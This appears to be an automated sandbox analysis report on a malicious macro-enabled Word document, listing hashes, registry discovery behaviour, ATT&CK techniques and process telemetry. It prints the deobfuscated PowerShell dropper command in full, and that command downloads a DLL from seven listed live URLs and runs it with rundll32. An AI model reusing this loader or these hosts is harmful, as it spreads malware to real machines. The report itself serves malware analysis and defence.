06012c700c1dac4c122303e920fdf1c71c41e681673c241c9698e5766df275a8

General

Target

rlgtphcb.docm
Size

140KB
MD5

391dca4cf91ae12aa1b5ac9d0ac3ec41
SHA1

47cfcf587d838f68a8f8df53ea3afae475436992
SHA256

06012c700c1dac4c122303e920fdf1c71c41e681673c241c9698e5766df275a8
SHA512

de299156048c8cb81fe9a5e839442347d118b9de47b353500647a73d4b97f010dcef6d6eb3c7ee9b04874010efd0b9f3b8790f8f9013a47271528eaed1be0c41

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://evgeniys.ru/sap-logs/D6/

exe.dropper

http://crownadvertising.ca/wp-includes/OxiAACCoic/

exe.dropper

https://cars-taxonomy.mywebartist.eu/-/BPCahsAFjwF/

exe.dropper

http://immoinvest.com.br/blog_old/wp-admin/luoT/

exe.dropper

https://yoho.love/wp-content/e4laFBDXIvYT6O/

exe.dropper

https://www.168801.xyz/wp-content/6J3CV4meLxvZP/

exe.dropper

https://www.pasionportufuturo.pe/wp-content/XUBS/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	4412	1088	cmd.exe	WINWORD.EXE

Blocklisted process makes network request 8 IoCs

Processes:

powershell.exe

flow	pid	process
14	2148	powershell.exe
26	2148	powershell.exe
28	2148	powershell.exe
43	2148	powershell.exe
54	2148	powershell.exe
62	2148	powershell.exe
70	2148	powershell.exe
78	2148	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

1088 WINWORD.EXE
1088 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

2148 powershell.exe
2148 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2148 powershell.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

1088 WINWORD.EXE
1088 WINWORD.EXE
1088 WINWORD.EXE
1088 WINWORD.EXE
1088 WINWORD.EXE
1088 WINWORD.EXE
1088 WINWORD.EXE

pid	process
1088	WINWORD.EXE
1088	WINWORD.EXE

pid	process
2148	powershell.exe
2148	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2148	powershell.exe

pid	process
1088	WINWORD.EXE
1088	WINWORD.EXE
1088	WINWORD.EXE
1088	WINWORD.EXE
1088	WINWORD.EXE
1088	WINWORD.EXE
1088	WINWORD.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

WINWORD.EXEcmd.exe

description	pid	process	target process
PID 1088 wrote to memory of 4412	1088	WINWORD.EXE	cmd.exe
PID 1088 wrote to memory of 4412	1088	WINWORD.EXE	cmd.exe
PID 4412 wrote to memory of 2148	4412	cmd.exe	powershell.exe
PID 4412 wrote to memory of 2148	4412	cmd.exe	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\rlgtphcb.docm" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1088

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c start /B powershell $dfkj="$strs=\"https://evgeniys.ru/sap-logs/D6/,http://crownadvertising.ca/wp-includes/OxiAACCoic/,https://cars-taxonomy.mywebartist.eu/-/BPCahsAFjwF/,http://immoinvest.com.br/blog_old/wp-admin/luoT/,https://yoho.love/wp-content/e4laFBDXIvYT6O/,https://www.168801.xyz/wp-content/6J3CV4meLxvZP/,https://www.pasionportufuturo.pe/wp-content/XUBS/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"C:\ProgramData\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"C:\Windows\SysWow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4412

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell $dfkj="$strs=\"https://evgeniys.ru/sap-logs/D6/,http://crownadvertising.ca/wp-includes/OxiAACCoic/,https://cars-taxonomy.mywebartist.eu/-/BPCahsAFjwF/,http://immoinvest.com.br/blog_old/wp-admin/luoT/,https://yoho.love/wp-content/e4laFBDXIvYT6O/,https://www.168801.xyz/wp-content/6J3CV4meLxvZP/,https://www.pasionportufuturo.pe/wp-content/XUBS/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"C:\ProgramData\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"C:\Windows\SysWow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2148

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1088-136-0x00007FF8DDCF0000-0x00007FF8DDD00000-memory.dmp

Filesize
64KB

Download
memory/1088-142-0x00007FF8E0650000-0x00007FF8E0660000-memory.dmp

Filesize
64KB

Download
memory/1088-132-0x00007FF8E0650000-0x00007FF8E0660000-memory.dmp

Filesize
64KB

Download
memory/1088-133-0x00007FF8E0650000-0x00007FF8E0660000-memory.dmp

Filesize
64KB

Download
memory/1088-134-0x00007FF8E0650000-0x00007FF8E0660000-memory.dmp

Filesize
64KB

Download
memory/1088-135-0x00007FF8DDCF0000-0x00007FF8DDD00000-memory.dmp

Filesize
64KB

Download
memory/1088-131-0x00007FF8E0650000-0x00007FF8E0660000-memory.dmp

Filesize
64KB

Download
memory/1088-145-0x00007FF8E0650000-0x00007FF8E0660000-memory.dmp

Filesize
64KB

Download
memory/1088-130-0x00007FF8E0650000-0x00007FF8E0660000-memory.dmp

Filesize
64KB

Download
memory/1088-144-0x00007FF8E0650000-0x00007FF8E0660000-memory.dmp

Filesize
64KB

Download
memory/1088-143-0x00007FF8E0650000-0x00007FF8E0660000-memory.dmp

Filesize
64KB

Download
memory/2148-138-0x0000000000000000-mapping.dmp

Download
memory/2148-140-0x00007FF8F56A0000-0x00007FF8F6161000-memory.dmp

Filesize
10.8MB

Download
memory/2148-139-0x000001A94B340000-0x000001A94B362000-memory.dmp

Filesize
136KB

Download
memory/4412-137-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads